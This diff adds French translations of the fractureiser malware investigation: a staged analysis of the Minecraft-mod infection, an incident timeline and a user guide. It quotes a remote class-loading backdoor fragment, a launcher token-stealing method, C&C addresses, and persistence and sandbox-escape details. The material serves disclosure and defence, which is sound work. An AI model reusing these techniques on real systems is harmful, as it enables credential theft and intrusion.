String.class).invoke((Object) null, "-114.-18.38.108.-100"); +} +``` + +Ce code: +1. Crée un `URLClassLoader` avec l'url `http://[85.217.144.130:8080]/dl` ([shodan](https://www.shodan.io/host/85.217.144.130)) +2. Charge une classe `Utility` depuis le loader, prenant du code d'internet. +3. Appelle la méthode `run` dans la classe `Utility`, donnant en paramètre un str différent pour chaque mod infecté (!). E.g. + * Skyblock Core: "`-74.-10.78.-106.12`" + * Dungeonz: "`-114.-18.38.108.-100`" + * HavenElytra: "`-114.-18.38.108.-100`" + * Vault Integrations: "`-114.-18.38.108.-100`" + +Les numerals sont ecrit dans un fichier nommé ".ref" sous forme de bits. Cela ressemble a un moyen pour l'auteur de suivre l'infection. + +La création du classloader est hardcodé dans cet URL et n'utilise pas l'URL Cloudflare comme le fichier de l'Étape 1. Comme cette IP est dorénavant hors ligne, cela signifie que les charges utilies des fichier Étape 0 *desquels nous sommes au courant* ne fonctionnenet plus. + +## Étape 1 (`dl.jar`) + +SHA-1: `dc43c4685c3f47808ac207d1667cc1eb915b2d82` + +[une version décompilée est disponible ici](/decomp/). + +La première chose qu'`Utility.run` fait est de vérifier si la propriété système `neko.run` est active. Si tel est le cas, *Le fichier aretera son execution*. Si tel n'est pas le cas, un str vide est initialisé et le code continue de s'executer. Cela fait penser que le malware évite de s'executer lui même plusieurs fois, dans le cas ou il aurait infecté plusieurs mods. *Cela ne peut pas etre considéré comme un killswitch car Étape1 est téléchargé depuis l'internet et peut changer.* + +`Utility.run` tente de contacter `85.217.144.130`, ainsi qu'un domaine CLoudflares (`https://files-8ie.pages.dev/ip`). Des raports d'abus ont déja été envoyés. Le domaine est utilisé pour récupérer L'IP du serveur C&C si la première IP ne répond plus - L'URL répond avec une représentation binaire d'une adresse IPV4. + +*L'IP C&C a été nullrouted après qu'un raport ai été envoyé a l'hébergeur. Nous allons garder un oeil sur la page Cloudflare pour voir si un nouveau serveur C&C est mis en place, nous ne pouvons pas imaginer qu'ils n'avait pas prévus ce genre de scénario.* Merci Serversion pour tes réponses rapides. + +*Le domaine CLoudflares a été supprimé*. Il y a un nouveau serveur C&C (`107.189.3.101`). + +Étape 1 essaye ensuite de devenir persistent en effectuant les étapes suivantes: +1. Télécharge Étape 2 (lib.jar pour Linux, libWebGL64.jar pour Windows) depuis le serveur +2. Programe Étape 2 pour s'executer automatiquement au démarage de la machine: +* Sous Linux, le fichier essaye de placer des fichiers dans `/etc/systemd/system` ou `~/.config/systemd/user` + * Le fichier placé dans le fichier utilisateur ne fonctionne jamais, car il essaye d'utiliser `multi-user.target`, qui n'existe pas pour les unités utilisateurs. +* Sous Windows, le fichier tente de modifier le registre + (`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`) pour s'executer lui même, ou + en cas d'échec, essaye de s'ajouter au dossier `Windows\Start Menu\Programs\Startup`. + +## Étape 2 (`lib.jar` ou `libWebGL64.jar`) + +Hash sha1 connus: +* `52d08736543a240b0cbbbf2da03691ae525bb119` +* `6ec85c8112c25abe4a71998eb32480d266408863` ( l'upload précédent de D3SL) + +Étape2 est obfusqué avec une version démo de l'obfuscateur Allatori, et sa classe principalle est appelé `Bootstrap`. +Il [le fichier] contient une autre classe appelé, nommée `h` qui semble être une simple classe de communiquation, mais est vide +sinon. Vous pouvez +[voir un essai de reproduire le code source](https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe). + +Quand executé, le fichier effectue les étapes suivantes: +1. Ouvre le port `9655` et ajoute un hook de shutdown pour se fermer quand la jvm (java virtual machine) se ferme. +2. S'autolocalise sur le disque et travaille au plus près. +3. Si `.ref` existe, il lit les clés identifiant du fichier. +4. Lance une boucle pour: + 1. vérifier avec `https://[files-8ie.pages.dev]:8083/ip` pour le serveur et tente de s'y connecter. + 2. Recoit un flag pour savoir si l'update check doit se continuer, si non, report au serveur depuis le port `1338` + 3. Si tel est le cas, recoit un hash et le vérifie auprès de `client.jar`, renvoyant un bit si il veut une update + 4. Si tel est le cas, recoit et crée/réécrit `client.jar`, cachant ses atributs. + 5. charge et invoque la méthode statique `dev.neko.nekoclient.CLient#start(InetAdress, refFiileBytes)` + 6. Attend 5 secondes + +## Étape 3 (`client.jar`) + +sha-1: `c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5` +sha-1: `e299bf5a025f5c3fff45d017c3c2f467fa599915` + +`client.jar` est un sac de code incroyablement complexe et obfusqué et contien du java et du code natif. + +Il contien une charge utile native `hook.dll`, décompilée: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c + +Il y a 2 fonctions natives faites pour être appelés depuis Java: +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);` +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);` + +Après analyse, ces 2 fonctions fonctionnent comme indiqué dans leur nom: +* Lis le contenu du presse papier +* Vole les tokens du compte Microsoft + +Il y a aussi des preuves de code essayant de réaliser les choses suivantes: +* Scan pour *tout* les fichiers jar sur le système qui ressemble a un mod Minecraft (en détéctant Forge/Fabric/Quilt/Bukkit), + ou [déclare une classe principale](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) + (la plupart des programmes java) + et essaye de s'injecter dans chaqu'un d'entre eux. +* Vole les cookies de navigation ainsi que les informations de connexion de plusieurs navigateurs Web +* Remplace les adresses de cryptomonnaies dans le presse papier avec d'autres, présumées apartenant a l'attaquant +* Vole les tokens discord +* Vole les tokens de Minecraft et Microsoft d'un grand nombre de launches +* Vole des crypto wallets + +Les fichiers jar sont détéctés comme des mods Mincraft comme suit: +* Forge (`dev/neko/e/e/e/A`): Le malware tente de localiser l'anotation `@Mod`, qui est requise dans chaque mod +* Bukkit (`dev/neko/e/e/e/C`): Le malware vérifie si une classe Bukkit `JavaPlugin` existe +* Fabric/Quilt (`dev/neko/e/e/e/i`): Le malware vérifie si une classe implémente `ModInitializer` +* Bungee (`dev/neko/e/e/e/l`): Le malware vérifie si une classe Bungee `Plugin` existe +* Vanilla (`dev/neko/e/e/e/c`): Le malware vérifie si la classe principale `net.minecraft.client.main.Main` existe + +## Étape3 (`unobf-client.jar`) + +Aux alentours de 14:20 UTC le 07/06/2023, client.jar a accidentellement été remplacé par une versionnon obfusquée. Vous pouvez trouver l'archive ici: https://github.com/clrxbl/NekoClient + +Cela valide les comportements/preuves suspicieux(.se) obtenues lors de l'annalyse de l'échantillon obfusqué. + +### Réplication + +la réplication est gérée par un processus automatique dans les fichiers jar a travers l'entièretée des filesystem sur la machine locale. Nimporte quel fichier jar qui contien des classes rencontrant certains critères est sujet a une infection. Le procesus de scan et d'injection de code malicieux peut etre trouvé ici: [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L273) + +Les critères vérifiés par le processus se trouvent ici: [`dev/neko/nekoinjector/template/impl`](https://github.com/clrxbl/NekoClient/tree/main/dev/neko/nekoinjector/template/impl) + +* `BungeecordPluginTemplate` regarde pour l'interface `net/md_5/bungee/api/plugin/Plugin` +* `FabricModTemplate` regarde pour l'interface `net/fabricmc/api/ModInitializer` +* `ForgeModTemplate` regarde pour l'annotation `net/minecraftforge/fml/common/Mod` +* `MinecraftClientTemplate` regarde pour l'existance de `net/minecraft/client/main/Main.class` et de `net/minecraft/client/gui/GuiMultiplayer.class` dans le jar +* `SpigotPluginTemplate` regarde pour le super-type `org/bukkit/plugin/java/JavaPlugin` +* Si aucun des critères ci-dessus ne sont remplis, [il vas tenter d'infecter la classe principale du fichier jar](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) - si il existe. + +Le code malicieux injecté est une backdoor vue dans Étape0. Le moyen dont le code fonctionne est qu'il est déclaré dans la classe `Loader` dans une méthode statique. La classe `Injector` qui est adjacente est responsable de l'extraction du code depuis le `Loader` et de l'insertion dans d'autres classes visées par l'infection. La valeur retournée par `Injector.loadInstallerNode(...)` est `MethodNone`. Maintenant les class n'ont qu'a ajouter la méthode a la classe visée. Dans [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L272), `Entry.inject(MethodNode)` est appelé pour ariver a ce résultat. Pour s'assurer que la méthode malicieuse est invoquée, cette méthode ajoute de la logique a l'initialisateur de la classe visée. En partant du principe que l'initialisateur est lancé quand la classe se charge pour la première fois, et que la classe visée est un plugin/mod, le code sera toujours triggered par des utilisateurs qui lancent un modpack infecté ou un serveur. Après quoi, le jar est repacked avec la nouvelle classe fraichement infectée. + +### Méthodes anti Sandbox + +Quelque chose peut commun dans les Malware JVM, qui est présent ici est la classe intitulée `VMEscape`. Cela recherche si le fichier se trouve dans un [bac a sable Windows](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview) en vérifiant si l'utilisateur actuel est `WDAGUtilityAccount`. Si cette condition est remplie, un essait pour s'échaper de la VM est réalisé. + +Le processus est a peut près comme suit: + +- Lance un thread répétitif pour run les actions suivantes: + - Crée un directory temporaire en utilisant `Files.createTempDirectory(...)` + - Itère par dessus les entrées `FileDescriptor` dans le presse papier système qui représente le presse papier host + - Crée un racourcit qui ressemble au fichier original _(en utilisant des icones SHELL32)_ qui invoque le malware + - Assigne ce racourcit au presse papier, réécrivant les references du fichier originel + +DE ce fait, si un utilisateur copie un fichier et vas pour le coller ailleur, l'utilisateur vas coller un racourcit ressemblant a leur fichier, qui fait tourner le malware. + +### Vol de données + +**Tokens MS (microsoft)**: Puisque ce malware vise les mods Minecraft, il est naturel pour lui d'essayer de voler les tokens de connexion aux comptes MS utilisés pour se connecter a Minecraft. Cerrtains launchers gardent cette donée en sécuritée dans un fichier local, dans lequel le malware vas tenter d'y lire son contenu. Cela affecte une variétée de launchers tel que : + +* Le launcher Vanilla/Mojang +* Le launcher legacy Vanilla/Mojang +* PolyMC / Prism +* Technic +* Feather +* LabyMOd (< v3.9.59) +* Et tout les tokens trouvable dans le [Windows Credential Manager](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0) + +La logique de retrait (vue dans [`dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java)) est similaire a celle ci car les donés sont stoqués d'une manière similaire. Par exemple voicit le code pour laby-mod: +```java +private static void retrieveRefreshTokensFromLabyMod(List refreshTokens) throws IOException { + String appdata = System.getenv("APPDATA"); + if (Platform.isWindows() || Objects.isNull(appdata)) { + Path path = appdata == null ? null : Paths.get(appdata, ".minecraft", "LabyMod", "accounts.json"); + if (Files.isReadable(path)) { + extractRefreshTokensFromLabyModLauncher(refreshTokens, Json.parse(Files.readString(path)).asObject()); + } + } +} +``` +le code pour récupérer les tokens depuis Feather/PolyMC/Prism est essentiellement identique. + +La différence dans la stratégie pour le launcher vanilla est que le fichier Json a une couche additionelle de cryptographie la protégeant. + +La différence dans la stratégie pour technic est que technic stoque les tokens en utilisant un objet java buit-in, entourant `com.google.api.client.auth.oauth2.StoredCredential`. + +**Tokens Discord**: Tout le monde a vus un voler de token avant. Ca vole le token et d'autres informations tel que les méthodes de payement, numéro de telephone lié, etc. Afecte les clients standart,canary,ptb et lightcord. Source: [`dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java`](https://github.com/clrxbl/NekoClient/blob/fd76c5f9d40d1e10de11f00a6b4e0cca3d6221a3/dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java) + +**Cooies & informations sauvegardées**: Vole les cookies et les informations de connection sauvegardés dans les navigateurs web afectés. Source : [`dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java) + +- Mozilla Firefox + - Waterfox + - Pale Moon + - SeaMonkey +- Chrome + - Edge + - Brave + - Vivaldi + - Yandex + - Slimjet + - CentBrowser + - Comodo + - Iridium + - UCBrowser + - Opera + - Beta + - Developer + - Stable + - GX + - Crypto + - CryptoTab + +## Étape 3b (`dummyloader3.jar`) + +Étape 3 a été remplacé par un autre fichier jar peut après l'aret du second serveur C&C. + +Il semble que ça ne soit que Skyrage, qui est un autre malware Minecraft, visant blackspigot. + +### Persistence +- Windows: task scheduler `MicrosoftEdgeUpdateTaskMachineVM`, le fichier `%AppData%\..\LocalLow\Microsoft\Internet Explorer\DOMStore\microsoft-vm-core` +- Linux: `/bin/vmd-gnu`, `/etc/systemd/system/vmd-gnu.service`, service `vmd-gnu` + +### Connexions +- Serveur C&C: `connect.skyrage.de` +- Téléchargement: `hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/qqqqqqqqq` + +### Actions +- `qqqqqqqqq` jar extrait tout plein d'informations (cookies de navigation, discord, minecraft, epic games, steam, gestionaires de mdp, etc.) +- remplace les adresses crypto dans le presse papier avec une adresse reçue depuis `95.214.27.172:18734` +- Persistence: voir ci dessus +- Contien des auto updateurs, version actuelle 932 (`hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/version`) + +### Mapping + +Ce qui suit sont les mappings pour ces échantillon, pouvant etre apliqué via Enigma ou tout autre outil suportant un mapping Enigma. +``` +CLASS D Chat +CLASS E ChatChain +CLASS E$a ChatChain$ChainLink +CLASS F ClientChat +CLASS G EncryptionRequest +CLASS H EncryptionResponse +CLASS H$a EncryptionResponse$EncryptionData +CLASS J KeepAlive +CLASS L LoginPayloadResponse +CLASS O PluginMessage +CLASS O$1 BungeeCordProtocolVersionMapFunction +CLASS P SetCompression +CLASS R StatusResponse +CLASS T CryptocurrencyClipboardLogger +CLASS T$1 CryptocurrencyClipboardLogger$LowLevelKeyboardHook +CLASS U AutoRunPersistence +CLASS V InputStreamFileWriter +CLASS W OperatingSystem +CLASS X AutoUpdater +CLASS Y StacktraceSerializer +CLASS a MalwareClientConnectionHandler +CLASS b Main + FIELD a intconst I + FIELD a string0 Ljava/lang/String; + FIELD a ipAddress Ljava/net/InetSocketAddress; +CLASS g MinecraftBot +CLASS h MinecraftBot2 +CLASS o MinecraftFriendlyByteBuf +CLASS s MinecraftIPAddressResolver +CLASS t MinecraftPacketDecoder +CLASS y MinecraftPacketEncryption +``` + +### Anti-décompilation + +Ces échantillon a l'air d'abuser de technicalités dans le fichier-class pour faire crashed les outils de décompilation!. de tels exploits peuvent etre réparés en utilisant [CAFED00D](https://github.com/Col-E/CAFED00D), un parser qui filtre les atributs malformés. Après quoi, le seul obstacle restant est l'obfuscation basique apliquée par Allatori démo. + +# Autres informations + +Plus de détails sont disponibles dans le document de reveal d'Étape3: https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ + +Quand le 2nd serveur C&C eu été suprimé, une version déobfusquée d'Étape3 a accidentellement été rendue publique +pendant environ 40 minutes. + +Le serveur primaire ~~est~~ *a été* (terminé) hébergé chez Servion, une compagnie basé aux pays-bas. + +Le nouveau serveur C&C a été lui aussi été terminé. _2023-06-07 18:51 UTC_ + +Autre qu'un serveur HTTP sur le port 80/443 et un serveur SSH sur le port 22, les ports suivant etaient ouvert sur `85.217.144.130` et `107.189.3.101`: + +* 1337 +* 1338 (un port référencé dans le fichier Étape1 pour créer une nouvelle connexion de débogage) +* 8081 (C'est un serveur Websocket - pas de fonctions aparentes a ce jour, non référencé dans quelque code malicieux) +* 8082 (personne n'a rien pu en tirer, non référencé dans quelque code malicieux) +* 8083 (contacté par Étape1) + +Curieusement, la page bukkit de fractureiser (l'utilisateur malveillant) indique "Last active Sat, Jan, 1 2000 00:00:00" https://dev.bukkit.org/members/fractureiser/projects/ + +## échantillons + +S'il vous plait, demandez dans le chat IRC pour une permission d'accès lecture/ecriture aux échantillons. Le code source d'Étape 3, décompilé est disponible ici: https://github.com/clrxbl/NekoClient + +## follow-ups +Pendant qu'il est un peut tôt pour parler de follow-ups de long terme, tout ceci a amené plusieurs problèmes critiques dans l'écosystème de minecraft modé. Cette section n'est qu'un brainstorming sur celles ci et comment nous pourrions nous améliorer. + +#### 1. Review au niveau des repo de mods + +Que fait exactement Curseforge et Modrinth quand ils "reviewent" un mod? Nous nous devont de savoir, au lieu de se reposer sur la +sécuritée par l'obscuritée. + +#### 2. Un manquement de signature de code + +Contrairement a l'industrie software, les mods déposés sur des repo sont généralement non signés avec une clé de signature prouvant que le propriétaire de la clé a déposé le code. Le fait d'avoir une signature et une distribution de clé séparé mitige Curseforge. + +Cependant, cela nous ammène donc a un problème plus large, le fait que "ce jar a cette signature" a besoin d'etre communiqué en dehors de Curseforge et Modrinth, pour permettre aux loaders ou aux utilisateurs de vérifier leur signature. +Forge a essayé d'introduire les signatures quelques années auparavant, et il y avait des limites. + +#### 3. Un manque de compilation reproduisibles + +les toolchains de Minecraft sont cahotiques, et les builds ne sont généralement pas reproduisibles. Il est courant d'avoir des scripts de construction qui téléchargent des versions -SNAPSHOT non épinglées de plugins Gradle aléatoires et les utilisent, ce qui entraîne des artefacts non reproductibles et donc non auditables. + +Un plugin Gradle aléatoire étant un futur vecteur d'attaque n'est pas hors de la question. + +#### 4. Manque de sanboxing de minecraft + +Le modding Minecraft Java editona toujours eu le plein pouvoir de Java, et c'est l'autre coté de cette lame a double tranchant: du code malicieux a un impacte tout aussi dément. +Minecraft en lui même n'est pas lancé avec quelque sandboxing que ce soit, et les serveurs ne le sont généralement pas non plus, a part si le propriétaire s'y connait assez pour se le permettre. + +Un bon sandboxing est compliqué, spéciallement sur des systèmes tels que Linux ou SELinux/Apparmor sont connu pour avoir une UX si terrible que personne ne tente de les déployer. diff --git a/lang/fr-FR/docs/timeline.md b/lang/fr-FR/docs/timeline.md new file mode 100644 index 0000000..254814c --- /dev/null +++ b/lang/fr-FR/docs/timeline.md @@ -0,0 +1,221 @@ +### Timeline + +La timeline est de bas en haut. Les evenements le plus en haut sont les plus récents. + +>(*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) + +--- +*2023-06-09 07:48 UTC* + +les créateurs de Stage3b (skyrage) ont aparement perdu leur domaine skyrage.de (le nom du serveur ainsi que les registres d'entrées ont changés, les entrées DNS ont disparues) + +--- +*2023-06-08 10:50 UTC* + +Les serveurs C&C de stage3b (skyrage) `95[.].214.27.172` et `171[.]22.30.117` ne sont dorénavent plus accesibles. A l'afut de potentiels changement de DNS. + +Ceci est l'heure ou nous nous en sommes rendu compte, pas quand cela s'est produit. + +--- +*2023-06-08 05:11 UTC* + +Prospector a annoncé: + +> Une update de Modrinth, tout les fichiers uploadés ces 10 derniers mois +> (aproximativement la moitié de nos fichiers) ont été scannés et aucun fichier +> infecté n'a été trouvé. + +--- +*2023-06-08 01:12 UTC* + +Les choses se sont de nouveau calmés, les antivirus ont commencé a déterminer les fichiers a l'étape 1+ +comme malicieux, un meeting pour les prochaines étapes est prévus pour demain matin aux US. + +Le meeting vas être semi-privé, mais ce qui s'y dit vas etre partagé après-coup. + +Curseforge scan tout ses mods, Le processus est toujours en cours. + +--- +*2023-06-07 18:51 UTC* + +Le deuxième serveur C&C `107[.]189.3.101` a été suspendu par son hébergeur. + +--- +*2023-06-07 16:00 UTC* + +En raison d'un lag sur le HackMD, ce document a été transféré sur ce repo. +https://github.com/fractureiser-investigation/fractureiser + +--- +*2023-06-07 14:40 UTC* + +Le fichier unobfusqué de l'etape3 a été remplacé par un fichier obfusqué, plus une charge utile. + +Cette charge utile est l'updater skyrage, qui est un malware Minecraft connu pour viser des serveurs spigots. + +Après avoir redirigé vers skyrage pour un bout de temps, de retour vers le Meteor Hacked Client. + +*note: le timestamp indiqué n'est pas précis.* +> "(TODO this timeframe is not completely accurate)" + +--- +*2023-06-07 14:20 UTC* + +Après analyse de la nouvelle adresse IP, nous avons trouvé une version unobfusquée de l'étape 3, probablement uploadé par accident. +Le fichier est archivé ici: https://github.com/clrxbl/NekoClient + +--- +*2023-06-07 14:19 UTC* + +Les pages du domaine Cloudflare ont été suprimées. + +--- +*2023-06-07 14:05 UTC* + +Les pages du domaine Cloudflare redirigent vers une nouvelle adresse IP, 107.189.3.101. + +--- + + +*2023-06-07 08:52 UTC* + +Le situation s'est calmée. Nous avons une idée générale des première étapes du virus, l'étape 3 est actuelement reverse-engineered. la première étape est temporairement dormante. + +Nous recommenceront les updates demain matin, heure US (ou dans ces alentours la). + +---- +*2023-06-07 08:09 UTC* + +Nous travaillons toujours a reverse-engineering l'étape 3, se référer a la section ci-dessous pour des détails techniques. + +---- +*2023-06-07 07:37 UTC* + +CurseForge a publié l'annonce suivante dans leur salon discord #news: +*(note: traduction en dessous)* + +> Hey everyone, +> +> We would like to address the current situation that is ongoing and highlight some important points: +> +> * A malicious user has created several accounts and uploaded projects containing malware to the platform +> * Separately a user belonging to Luna Pixel Studios (LPS) was hacked and was used to upload similar malware +> * We have banned all accounts relevant to this and disabled the LPS one as well. We are in direct contact with the LPS team to help them restore their access +> * We are in the process of going through ALL new projects and files to guarantee your safety. We are of course holding the approval process of all new files until this is resolved +> * Deleting your CF client isn’t a recommended solution as it will not solve the issue and will prevent us from deploying a fix. We are working on a tool to help you make sure you weren’t exposed to any of this. In the meantime refer to information published in #current-issues. +> * This is relevant ONLY to Minecraft users +> * To be clear **CurseForge is not compromised! No admin account was hacked.** +> +> We are working on this to make sure the platform remains a safe place to download and share mods. Thank you to all authors and users who help us with highlighting, we appreciate your cooperation and patience ❤️ +> +> Stay tuned for more updates and we will clear this issue. + +**Traduction**: + +> Bonjour a tous, +> Nous voudrions revenir sur la situation actuelle et souligner quelques points importants: +> +> * Un utilisateur malveillant a crée plusieur comptes et a déposé des projets centenat des malwares sur la plateforme. +> * Séparément, un utilisateur apartenant a luna Pixel Studio (LPS) a été hack et a été utilisé pour déposer des malwares similaires. +> * Nous avons bannis tout les conmpte liés a ceci et désactivé le compte LPS. Nous sommes en contact direct aves l'équipe LPS pour les aider a regagner leurs accès. +> * Nous sommes en train de scanner TOUT les projets et fichiers pour vous garantire votre sécuritée. Nous avons bientendu suspendu tout les processus d'aproval en attendant d'avoir résolu le problème +> * Désinstaller votre client Curseforge n'est pas une solution car cela ne résoudra pas le problème et nous empèchera de déployer un fix. Nous travaillons sur un outil pour vous permettre de savoir si vous avez été exposé a quoi que ce soit. En attendant référez vous aux informations dans #current-issues. +> * Ce problème n'affecte QUE les utilisateur Minecraft +> * Pour etre clair **CurseForge n'est pas compromis! Aucun compte administrateur n'a été hack** +> +> Nous travaillons dessus affin de laisser la plateforme sécurisée pour le téléchargement de mods. Merci a tout les auteurs et les utilisateurs nous aidant, nous aprécions votre coopération et votre patience ❤️ +> +> Restez informés pour plus d'updates et nous allons nous occuper de ce problème. + +---- +*2023-06-07 07:24 UTC* + +Darkhax a contacté les représentants de Curseforge, on a confirmation que les fichiers afectés ont été uploadé via l'UI, et non pas l'API. + +Curseforge a stopé ses aproval d'uploads en attendant que la situation se calme. Ils ont aussi suprimé beaucoup de fichiers infectés. + +Curseforge instigue aussi les IPs des uploaders des fichiers malicieux, pour voir s'ils corespondent aux requètes précédentes. + +---- +*2023-06-07 7:03 UTC* + +Nous pensons avoir découvert la véritable utilisation de l'Étape3 (`client.jar`) et nous essayons de le documenter. Ce n'est pas bon, pas bon dutout. + +Pour faire court, pendant que nous documentont proprement: client.jar cherche *l'entièretée des fichiers systèmes* pour des fichiers ressemblant a des mods jar, et les infectes avec Étape0. Cela inclu l'*entièretée des caches Gradle et Maven*, mais aussi plein de trucs que les dévelopeurs de mods ne vérifieront jamais. La taille potentielle de cette infection est passé de "quelques mods chelous" a *Potentiellement infinit*. + +Nous pensons que c'est ainsi que l'infection s'est originellement propagée, Curseforge peut ne pas être le vecteur d'attaque initial. + +---- + +*2023-06-07 6:27 UTC* + +Les investigations ont ralenties et la team vas se coucher. unascribed a ouvert une boite mail pour permetre aux gens d'envoyer des échantillions ou autres informations utiles. williewillus travaille actuellement au clean up et a l'inclusion des informations présentées par D3SL dans ce doc. + +---- + +*2023-06-07 6:20 UTC* + +D3SL a informé le discord non officiel qu'iel avait une copie unobfusquée de Étape3 `client.jar`, ainsi qu'une analyse en profondeur de ce que le malware fait. Iel s'en est rendu compte il y a une semaine et a fait une analyse en profondeur, en résultat, une copie complète des charges utiles. + +---- + +*2023-06-07 5:27 UTC* + +Nous avont découvert les fichiers potentiels de Étape3 (truncated); c'est très lourdement obfusqué et contenant une charge utile native DLL qui essaye de voler des informations du windows store. + +---- + +*2023-06-07 4:57 UTC* + +Des fichiers uploadés en Avril ont été trouvés; soit les dates sont truqués, soit cela fait très longtemps que cela dure. La plupart des comptes ont une dernière activitée enregistrée en 1999 — probablement un bug avec d'anciens comptes CurseForge, cela reste notable. + +Le staff de Modrinth vérifie qu'aucun fichiers ne soient compromis. une analyse récente indique que tout est OK. + +---- + +*2023-06-07 4:40 UTC* + +La taille de ce virus semble plus grand qu'anticipé. Les fichiers malicieux remontent a plusieures semaines, aussi tot que le 20 Mai. Nous nous en sommes rendu compte aujourd'hui seulement a cause de leur infection d'un gros modpack. + +--- + +*2023-06-07 3:38 UTC* + + +Le serveur C&C a été suprimé par l'hébergeur. Un nouveau vas surement aparaitre si la page Cloudflare reste active, nous sommes vigilants en cas d'activité. + +---- + +*2023-06-07 3:26 UTC* + +Nous avons reçu un fichier possiblement celui de l'Étape2 par un utilisateur anonyme prétendant travailler chez un hébergeur. + +---- + +*2023-06-07 2:26 UTC* + +Le salon #cfmalware EsperNet est crée pour coordiner les discutions se passant dans plusieurs serveurs discord et espaces Matrix. + +---- + +*2023-06-07 0:40 UTC* + +L'équipe derière ce document prend connaisance des fichiers malicieux inclus dans une update non autorisée de Better Minecraft. + +---- + +*2023-06-01 to 2023-06-04* + +D3SL devien suspicieux envers les fichiers malicieux' consomation de CPU et de RAM et commence a investiger. +Ordre des opérations: + +1. Suspicieux a propos des requetes du firewall de java. +2. Inabilitée a joindre des services self-hosted, menant a un event viewer montrant tout les ports tcpip bloqués +3. Netstat montre une consomation des ports exessive via le jar hostile. +4. Identification du fichier malicieux javaw.exe fesant tourner libwebgl64.jar, malware confirmé + +A partir d'ici Tzalumen a assisté dans les reverse engineering initiaux du 'byte[] obfuscated' code et a manuellement capturé des fichier en provenance de destinations a distance. + +Des copies entières des fichiers originaux (incl. deobfuscations) sauf lib.dll, traductions de toutes les destinations contactées, et une trace ecrite du processus d'infection ainsi que plusieurs capacitées hostiles ont été données a Windows defender et Malwarebytes. Curseforge a aussi été informé. La connaisance du malware n'a pas été rendue publique a ce moment la pour éviter de se faire démasquer par les attaquants. + +---- diff --git a/lang/fr-FR/docs/users.md b/lang/fr-FR/docs/users.md new file mode 100644 index 0000000..dfc2a6c --- /dev/null +++ b/lang/fr-FR/docs/users.md @@ -0,0 +1,309 @@ +# Guide pour les joueurs modés + +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) + +Si vous jouez **uniquement** en vanilla via un launcher de confiance comme le launcher officiel ou +Prism, et n'avez jamais touché à des mods : vous êtes en sécurité à 100%. Restez éloignés des mods +pour le moment. + +Si vous êtes un joueur de Minecraft moddé, vous allez avoir besoin de vérifier si vous avez été infecté par le +malware fractureiser pour être sûr que votre ordinateur et vos données personneles ne courent aucun risque. Vous pouvez faire +cela en suivant les instructions ci-dessous. + +Des informations additionnelles sur quoi faire si vous êtes ou non infecté seront données après les étapes permettant un diagnostic. + +### Est-ce toujours en cours ?? +**Non. Enfin, en quelque sorte.** +Pour le moment avec nos connaissances, nous pensons que le virus `fractureiser` a été complètement supprimé de tous les mod(pack)s publics. + +Notre recommendation actuel est : si vous avez exécuté le scanner pour l'Étape 2 de cette page, vous êtes en sécurité pour jouer tranquillement, cependant, depuis que la publication de mods est de retour sur CurseForge et Modrinth, il est possible que des créateurs de virus, voulant copier fractureiser, créent de nouveaux virus. + +Nous sommes en contact avec toutes les parties pour établir des protocoles pour que ceci n'arrive plus dans le futur. + +Si vous voulez jouer, suivez les étapes de diagnostic sur cette page ainsi que les sections sur quoi faire si vous êtes infectés ou non. + +### Structure de la page +* [Qu'est-ce qu'il s'est passé ?](#quest-ce-quil-sest-passé-) +* [Suis-je infecté·e ?](#suis-je-infectée) +* [Je suis infecté·e, que faire ?](#je-suis-infectée-que-faire) +* [Je ne suis pas infecté·e, que faire ?](#je-ne-suis-pas-infectée-que-faire) +* [Foire aux Questions](#foire-aux-questions) +* [FAQ technique](#faq-technique) + +Si vous avez des questions sur fractureiser, lisez cette page en entier, y compris la FAQ à la fin, car la plupart des questions ont leur réponse la bas. + +## Qu'est-ce qu'il s'est passé ? + +Plusieurs mods et plugins malicieux ont été publié par le créateur du malware +sur le site d’hébergement de mods CurseForge et sur le hub de plugins dev.craftbukkit.org (à ne pas confondre avec le logiciel Bukkit lui-même). Une développeuse connue a téléchargé l'un de ces mods pour l'essayer, ce qui a infecté les fichiers de son ordinateur sans sa connaissance - incluant une copie d'un projet qui aurait pu être publié sur CurseForge comme un fichier légitime, avec le virus inclus. + +Cette suite d’événements s'est répétée plusieurs fois sur d'autres utilisateurs de CurseForge et dev.craftbukkit.org, infectant des copies de plusieurs plugins et mods populaires. *Il y a des traces de ces fichiers malicieux remontant jusqu'a mi-avril.* + +Pendant ce temps, le créateur du malware a essayé de "brute force" les comptes de créateurs ayant des mods populaires sur CurseForge. Pour le moment, nous ne sommes pas sûr de s'il s'agit d'une brèche causée par le "brute force" ou par l'infection des comptes des créateurs. + +Ce logiciel se décompose en plusieurs 